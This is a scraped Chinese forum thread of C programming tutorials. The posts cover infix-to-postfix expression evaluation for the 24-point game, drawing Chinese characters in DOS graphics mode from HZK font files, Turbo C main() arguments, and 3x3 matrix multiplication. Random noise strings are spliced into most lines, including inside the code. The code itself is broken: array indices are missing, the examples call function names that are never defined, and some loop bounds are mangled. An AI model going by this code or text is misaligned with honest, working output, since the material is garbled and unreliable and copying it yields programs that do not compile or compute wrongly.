2 i( ?! Y6 Y. h; n( \A*(B+C/D)-E*F ABCD/+*EF*-
$ \  Y1 f# H+ @! q(B+C)/(A-D) BC+AD-/2 x4 ?# R0 t5 ^4 y, T; z! W

; T) N& E8 Z, I  OK,所谓表达式的线性化是指将中缀表达的表达式转化为波兰表达式。对于每一个表达式,利用栈可以把表达式变换成波兰表达式,也可以利用栈来计算波兰表达式的值。
7 @( b2 M, u/ C7 F: a- z& I- H3 v7 S4 r
- G, X( p7 ], i' ?  至于转换和计算的过程和第一种方法大同小异,这里就不再赘述了。
) ]0 w8 e7 u1 t9 G( ]$ N* X' r& \' D9 W8 q( g6 B
  下面给出转换和计算的具体实现程序——+ p, ~9 D. I0 ^
2 h4 c$ Z/ P5 E1 a( F: v
<FONT color=#009900>/* first函数给出各个运算符的优先级,其中=为表达式结束符 */! N5 r9 `+ Y; M0 o! W/ s  B. g% R
int first(char c)5 Q+ ]% D. `! V7 {  j
{ int p;
, z, c! Q4 l! _' \2 mswitch(c)
/ T0 V3 Y& [3 S/ j7 Y{ case '*': p=2; break;
9 R# }1 s9 w+ d8 F, Zcase '/': p=2; break;" _$ D2 h$ h& }4 ]! ~' N
case '+': p=1; break;
! n; {4 j- K8 V2 x& ~# ]! {( hcase '-': p=1; break;
; l0 B: l5 b- H, hcase '(': p=0; break;8 J: I+ ^6 F2 E, g
case '=': p=-1; break;( k( w; v0 Q0 I
}4 R4 o/ ]6 [9 S6 I/ _3 H7 d$ k* L
return(p);
, B. O, s" `2 R- j- c1 y: [}1 ^, m7 t- a7 h) P6 o. m
/* 此函数实现中缀到后缀的转换 */
0 ]2 h/ [2 |) Y6 K/ L. B/* M的值宏定义为20 */, K/ U- ^  X# d6 I
/* sp[]为表达式数组 */# I/ n4 ?2 a3 r2 N1 v8 p
int mid_last()( Z3 S% M& M4 B
{ int i=0,j=0; char c,sm[M];# }* a1 L, Y, V3 Z3 Q8 Y" w
c=s[0]; sm[0]='='; top=0;  p1 K  G! m: u7 u% a3 S6 }3 p
while(c!='\0')
1 T+ W1 S1 @* s, R: a( `+ Z5 V{ if(islower(c)) sp[j++]=c;1 P" e- I  o# K8 V( q% G
else switch(c)6 D$ p+ z0 J2 J, U
{ case '+':
" a( S7 Y+ V) d' J" H/ y: Kcase '-':
/ b/ {) _: [0 C+ r% g- Zcase '*':
2 d5 W3 [+ a; g+ w7 D- o$ a. w7 ecase '/': while(first(c)&lt;=first(sm[top]))+ W6 m+ l/ v; ~* u2 E
sp[j++]=sm[top--];* o1 C/ C5 v& ^- H& H  U
sm[++top]=c; break;
" I. E9 s9 n# G1 M& k' g/ Q, Kcase '(': sm[++top]=c; break;
) |( F, [, L2 G: i* {' |case ')': while(sm[top]!='(')/ i* H! s7 ]- k0 k
sp[j++]=sm[top--];" M% T. W1 T& R. ^% H. `$ O/ i, e- I
top--; break;/ @6 ~. w% h+ K; [& ]
default :return(1);
% ^# g6 w( L* G/ K: f8 f}8 n( W4 q* n- f# o) \* T% L0 g
c=s[++i];
2 _7 T2 Q' n$ F0 K}2 t6 M" u1 [* v! p& c& J
while(top&gt;0) sp[j++]=sm[top--];* H3 l4 I. Y. ^
sp[j]='\0'; return(0);
% ]! e% k/ H. E7 f- \}' ?/ P; V% U# N  H5 @9 T; U
/* 由后缀表达式来计算表达式的值 */
8 ?. V7 D# C$ X9 mint calc()
1 I: q% I; n: {: t: _  A( y; E! C{ int i=0,sm[M],tr; char c;- }& s4 J' R9 Z) a. l/ o
c=sp[0]; top=-1;& ?4 z9 R  T0 v, b( x
while(c!='\0')
8 Y7 C! V; O+ S{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
. l; e8 b- f5 z6 J& W3 B) q2 O" q: M( G这样才可以更方便的处理非一位数,
: P# n1 z- k2 H6 ?( Qver数组中存放着这些字母所代替的数*/( l% x3 g$ e4 T0 B/ e
else switch(c)
3 @( r! V6 A, @{ case '+': tr=sm[top--]; sm[top]+=tr; break;
( F9 s" @! M  O5 s5 |case '-': tr=sm[top--]; sm[top]-=tr; break;
/ c2 A8 ?0 l, e& c) m; L! K3 Gcase '*': tr=sm[top--]; sm[top]*=tr; break;6 `* A. B7 G$ z1 |: B4 E: `
case '/': tr=sm[top--];sm[top]/=tr;break;
7 i8 l$ @; t' i  kdefault : return(1);
( V! z  ^2 U' e}* v0 H! t6 b4 w$ r: T0 k0 P/ p
c=sp[++i];
7 o5 b" |6 t+ |' S" j3 G+ E}& u& y3 ^9 l4 G& ?: H# N% X$ {
if(top&gt;0) return(1);' j7 {+ _' e- M
else { result=sm[top]; return(0); }
" [5 {+ z: \! d9 g+ g0 L  M}+ r+ z, f0 U2 c
</FONT>! J5 H* K  g+ D& [" s7 E
  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
4 ?( x: L1 Z$ t$ y4 @  y! ~- t1 C5 F2 e/ b7 o4 `
  最后我总结了一下这其中容易出错的地方——8 }( `3 Y" `$ _8 T! t

8 {6 a3 k: U% D( |& o! e$ F0 O  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。# S$ Y2 K2 H$ i" t" L0 E

- K' n! B, C: L3 I3 Q2 Z* c5 _  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。
# f" y+ N# ]: r! O4 U7 i+ _& O4 h- _, S
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
+ _$ Q2 s7 n9 D3 I/ s* F1 a
4 v( V' N) |3 {6 d! n, m$ k  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。4 S: e4 b# n+ ^; _6 j# A
" Q; n9 f8 d" Y$ H
  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。
' P( t; @( i# v0 ]9 @3 H/ K3 E& m' w( R: U8 G) X
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。
  \( j4 I- m5 n% }
9 y8 i* x: a. t6 J+ z1 @  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
0 w- C1 \. m& ?  [4 e2 i</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>
& j$ x' r3 k, u, t, A/ Y图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}  J( [" B+ H/ Z0 e* Q9 }
  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。4 `) {6 N9 Y2 s( U; J/ F4 k
  汉字显示的第一步是打开字库文件。 ( A$ r9 [- o0 M7 q
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。  A. ~! O' a  S
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)) D1 G* z% {0 q/ W) g+ I+ D6 c
{. i" {8 t7 H) K+ p9 M8 D
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
# Y. g* v: d8 E$ v; S5 A4 G( rint rec,i1,i2,i3; /*z:space between;*/8 U% O5 u  h9 m  i- z# [
long l; /*color:txt color*/
3 Q" r1 M. @! t5 S. I; H. T) nchar by[32]; /*p:HZ str*/
4 ~% L1 a4 e  E  y* e% z1 D! A+ ?if( handle&lt;0 ) return -1; while((i=*p++)!=0){/ i, a1 ^% O% i; s. i4 G( T
if(i&gt;0xa1)
7 `3 y8 f/ J- C6 a3 d* |if(f==0){
$ u* R# z( [3 I, _! ~1 J9 Rc1=(i-0xa1)&amp;0x07f;: M; Z; [% H  e& G+ h$ R, p7 n# O
f=1;
" Q# e6 W+ F8 Y; J. k}$ [5 U6 Y, f5 m+ l+ ]* B& ~
else{
1 {( F* q& u, p) t# m* [  a$ ac2=(i-0xa1)&amp;0x07f;- T- m8 L: f) I* m$ I& `
f=0;
$ h- p" P% @: Z! H4 Y, Qrec=c1*94+c2;/ W" q5 ?5 Q5 ^9 ~+ a
l=rec*32L;
2 |3 M. d, P7 V* B7 A6 F; Llseek(handle,l,SEEK_SET);/ y0 e0 D: |2 B$ c5 A
read(handle,by,32);
8 p/ M. N. X: {0 q& cfor(i1=0;i1&lt;16;i1++)
8 V2 ?) T- P, t+ ffor(i2=0;i2&lt;2;i2++)) X1 ?& q; F- ]! }. q0 E
for(i3=0;i3&lt;8;i3++)& j& W' `! |" A# o8 e% S
if(GetBit(by[i1*2+i2],7-i3))0 X# j, {* O- Z0 V
putpixel(x+i2*8+i3,y+i1,color);
  w5 z  h% z/ n* o- Q/ Cx=x+z+16;' a- C4 k  B) w6 D' O$ q
}
5 ]+ e5 J+ f/ j+ [) D. T}- `: f* f# [( W
return(x);& F9 d0 B" B( u5 w( g
}9 o' x0 [- P- B& K! n# j& m: I
函数GetBit定义如下:
+ @" ?9 C8 E4 y0 ^  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。
$ l3 x( u; o8 m3 B/ P0 h: dint GetBit(unsigned char c,int n)6 Q! p" X8 n; J' K* h0 ?
{* Q# S2 {$ f# H- t$ W8 @- K
return((c&gt;&gt;n)&amp;1);
$ P% Z8 H6 U0 B0 E+ I! B1 i}2 j- y- W& C% S
汉字显示结束,应该关闭字库文件。
0 @% i; F/ m2 i8 |. q/ B: ?void CloseHz(void)
8 h/ l- X# q* ?6 s* P' _{
" W* Z+ T: e5 q) \. B& m) l- Oclose( handle );
/ ~: Z7 D1 C! ?0 A+ r}3 W, g; d6 F  X2 t" g8 _( k* F
#include "\Caic\Include\Hz.h"
4 P# u3 V. j# N% _8 d" Z, y#include <GRAPHICS.H>
( {3 G& t" V: L" E- ]" ^#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";
5 ]0 O6 E* V( v1 D) e; k7 |const char* HzStr = "苦丁香C语言辅助学习软件";5 C* l/ ^7 [0 x4 c) w; n
void main(){* R9 S! }) S0 T8 @8 Q$ @+ L
int gr=DETECT,gm;% g' N& D2 Y% k
initgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");
. c% _" K2 i0 f$ r. rOpenHz( Hz16Path );' A5 w) e9 {, r: f# w  w
Wrt16Hz(20,20,4,RED,HzStr);$ B! }- A, X. {; k7 _) ?
CloseHz();
8 o" K. h3 ?# m; V' |# F, z& Ggetch();
( U6 }- r, C. `: Uclosegraph();, M" x$ ^) s6 [6 r
}显示24点阵及放大汉字% G6 d7 `8 i6 E5 q
  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。9 n( T$ C$ p% Y" w9 v
函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
8 e* d+ q& c2 w! s+ A0 zint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
8 w' T% o& q( r% ?1 g{4 L2 R) G4 S4 {( |9 ~
unsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
# W7 U" k7 Y- f% h% r$ V, z" Rint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/) \1 r( t2 u. T+ ^5 }( c0 l# \$ f$ z
long l; /*color:汉字颜色*/: ?& q& _+ o" i0 G' \1 G3 ?. F
char by[72]; /*m: x 方向的放大倍数*/
' g  R/ H/ r/ |: A8 ?, f: |) l6 ]/*n: y 方向的放大倍数*/
4 B# Y, P' A; [if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){8 F: H5 h) |$ X. D7 e
if(i&gt;0xa1)
9 ~* v. ?' ]. F8 O6 `if(f==0){  A; P' E$ w# ~- N6 t7 l
c1=(i-0xa1)&amp;0x7f;% }" K1 Z* D3 m& c
f=1;1 X7 z% X; n* Z7 p0 \- ^; X6 e
}& s3 s! X) f5 t, Z: H3 k
else{+ k2 W. n5 t+ W) j
c2=(i-0xa1)&amp;0x7f;
+ Z$ Z0 V6 B9 P' r8 e3 X/ i0 o% af=0;  s0 F. L4 m/ e
rec=(c1-15)*94+c2;2 C: _4 X9 B1 W. p; `# A1 M0 W
l=rec*72L;
  L, x( N: S8 X5 U1 F6 llseek(handle,l,SEEK_SET);
' A1 @# l1 K: B( F, j1 Z3 ?/ Dread(handle,by,72);
# V4 y! s% l# ^for(i1=0;i1&lt;24*m;i1=i1+m)
1 P  e9 R! F8 c- q8 \: Q. ?! Qfor(i4=0;i4<M;I4++)$ a: A# B$ F- s: |: |$ _
for(i2=0;i2&lt;=2;i2++)
" E" [, R1 g( B: B# f# m+ J2 ~$ |2 \for(i3=0;i3&lt;8;i3++)
1 }" ~3 i  N$ M5 Uif(GetBit(by[i1/m*3+i2],7-i3))2 ~: A1 b) d0 t5 b# E6 r# B& s
for(i5=0;i5<N;I5++)
4 W  ^0 R4 v; I+ I putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);, \; @. Y' m9 Z9 |; A0 q- S
x=x+24*m+z;4 ?+ g! f) X& f; A2 z. G
}
% o7 m; F5 i3 ?; Y, \( x}
- |& {$ R" N9 M3 y2 `0 J* \return(x);
9 f, A3 x* O" Y# {/ N$ o0 ], r} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"
, A) c# F6 j6 k/ w0 J. L/ N4 V$ Z7 ~#include <GRAPHICS.H>) l0 R0 E+ ]0 z
#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."; {. g, D( f  E4 J0 w3 v2 t
const char* HzStr = "苦丁香C语言辅助学习软件";
& Y  e/ I4 h4 D# ?/ o( Qvoid main(){0 r% ?- o" h' g3 a$ B& H
int gr=DETECT,gm;
3 z) w$ i' B  W: y& a# ?7 c% Pinitgraph(&amp;gr,gm,"\\Caic\\Bgi");  ]& _6 y! U+ ^9 j7 k& m. i3 t+ j- b
OpenHz( Hz24Path );
! p7 k6 B5 J/ M; L! t2 D! VWrt24Hz(20,20, /*先是在(x,y)*/
* g$ I  R% |2 s- m1 I' B) ?8 A4, /*汉字间的空格为4*/
+ @$ c* ?' c( {: u' x7 u) YRED, /*用红色显示*/
0 m6 g9 g, b" y  ], m2, /*x 方向放大2倍*/5 N; G- X8 M& `( O
4, /*y 方向放大4倍*/9 A- h+ ~  [% k  }  x2 d3 u
HzStr); /*显示字符串*/. _2 n+ u9 n  X, d6 E
CloseHz();6 A9 F: F. ]7 q9 e% ], ?& z$ [
getch();4 P8 ?7 L9 q0 W; \
closegraph();
# N' |) @3 A& T7 b: D4 m* O}
2 x( t  V  l- y8 |6 M</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<>  再谈main()主函数! N4 Y. N8 x( \1 L& U$ Q& q7 B  k
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。
$ _8 h' K: `! X& e! m- ?3 Q+ Z! C1. main() 参数2 H+ K8 b/ |/ ?0 V
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。+ L$ ^2 X, e& \
  * argc: 整数,为传给main()的命令行参数个数。
( L/ p# ~, x8 \! c  * argv: 字符串数组。
$ V- y% u5 M5 A7 C8 B在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
2 Q- U& j  e3 _  G& K& V/ O对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;
2 b% K! O* j9 R...) A. [! _; M7 j0 D/ M5 r" T
argv[argc]为NULL。4 m2 E5 `! I# v  C# l: |
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应
! k* u: ~; J# L+ O0 q$ K# _值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
& i# m3 G0 A* V1 A2 P#include&lt;stdio.h&gt;
3 e! [. l2 {, Y; ~& t' H#include&lt;conio.h&gt;
( Z- ^; S; M3 ^; o6 p- A' A/ h( `#define X 3
7 ~3 }( z! |5 }8 L" `#define Y 3</P><>int a[X][Y];
: s- `1 W  l3 Wint b[X][Y];
" _& A$ i4 H2 w; F4 h' [  f; Uint c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);
8 X! ~# K2 o4 N4 n4 pmain()
6 e1 l0 d+ R2 a  B5 k5 i{& Z' m+ P' }' T0 w
int i,j,temp;
# m- q/ o# ?, B( {( iclrscr();
% m. i2 C# @" ]printf("lease input int matrix b[%d][%d]\n",X,Y);
$ [) E0 m7 A! k6 D& Sfor(i=0;i&lt;Y;i++)
/ _- f5 R2 \8 S% z- w, Zfor(j=0;j&lt;Y;j++){
, f9 ^+ N, }* K' Y# F1 Lscanf("%d",&amp;temp);' J! W' F- C9 m& ]: x
b[j]=temp;7 o9 m9 U& a; v$ o! X& O
}
, y  i2 M; e2 P9 Pprintf("lease input int matrix c[%d][%d]\n",X,Y);
1 W# }2 V8 g; C$ x# M( Q0 ^  o- Ffor(i=0;i&lt;X;i++)
% j0 m- c6 W3 r; Zfor(j=0;j&lt;Y;j++){# O/ B. |1 Y9 F% R
scanf("%d",&amp;temp);# n- C4 U* l' ^
c[j]=temp;+ R% `& Z+ D! ?: z2 h6 F9 G
}
- v' n: y$ O5 B8 A& v' f' dmatrix(b,c);
3 f  J" N. e% N* tprintf("Now print resource matrix b[%d][%d]=",X,Y);1 g# R" l8 N7 @4 H" H& g
for(i=0;i&lt;X;i++){
. i3 U9 _5 {. W; Hprintf("\n");
9 l5 p6 f3 A2 E2 f2 `9 Gfor(j=0;j&lt;Y;j++)
/ W6 [( Q# E1 o- }- B7 [, Eprintf("%d ",b[j]);. d. ?8 K) @7 }6 L( i) {" I3 A0 A
}
" ^' l' B/ q7 x9 h+ K( I( Zprintf("\n");
3 {# U3 h! F$ o6 @printf("Now print resource matrix c[%d][%d]=",X,Y);
+ G& `8 ~% l5 Q4 Hfor(i=0;i&lt;X;i++){
+ h1 C# B0 a3 a0 rprintf("\n");
/ k3 q9 }0 g. e2 ^0 xfor(j=0;j&lt;Y;j++)
! I# Q) d3 V+ K: w0 Y- Wprintf("%d ",c[j]);
1 J5 l# `) K+ z5 t" H, s  v}! Y4 K- H! W; D- a
printf("\n");% B. W+ t: v' E" Q; ^& D+ f: J
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);, j# l; ~% _7 h) L0 S6 j$ j, G3 R
for(i=0;i&lt;X;i++){0 R* o& e5 Q, I1 I& M
printf("\n");6 ^$ d4 x8 x+ u/ y
for(j=0;j&lt;Y;j++)* J1 j" p6 J! ^! r4 n
printf("%d ",a[j]);+ R9 w/ F; q: ]
}- Y. b3 S8 f' T( Z  s0 W  b) `
getch();
; [* b8 _3 i: Freturn 0;
3 w1 I( j0 L) E: R% f}* c& x) U2 ?( ^$ S# Y
/********************************************************************/5 G, J- j9 Q2 ^( K( s
void matrix(int b[][X],int c[][Y])  [0 [$ q8 A# ^. s# N; K& l! W
{/ u" S! V$ \% M/ Q* e% b4 U
int i,j,k,temp;
& D8 A9 ~! w! j8 B" Sfor(i=0;i&lt;X;i++)7 A' z1 N. f" U7 S" D# u+ [7 \, O
for(j=0;j&lt;Y;j++){' Z* c! k: S  U9 H$ f' q
for(k=0;k&lt;Y;k++)
% |3 w# W; |: Y* C  F) Z  J$ {% wa[j]+=b[k]*c[k][j];
' |9 O. M4 a; W$ [, L  r- F  g}
) n; R7 T( r! a& N0 u: {}</P>
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册地址

qq
收缩
  • 电话咨询

  • 04714969085
fastpost

关于我们| 联系我们| 诚征英才| 对外合作| 产品服务| QQ

手机版|Archiver| |繁體中文 手机客户端  

蒙公网安备 15010502000194号

Powered by Discuz! X2.5   © 2001-2013 数学建模网-数学中国 ( 蒙ICP备14002410号-3 蒙BBS备-0002号 )     论坛法律顾问:王兆丰

GMT+8, 2026-6-3 13:25 , Processed in 0.633853 second(s), 89 queries .

回顶部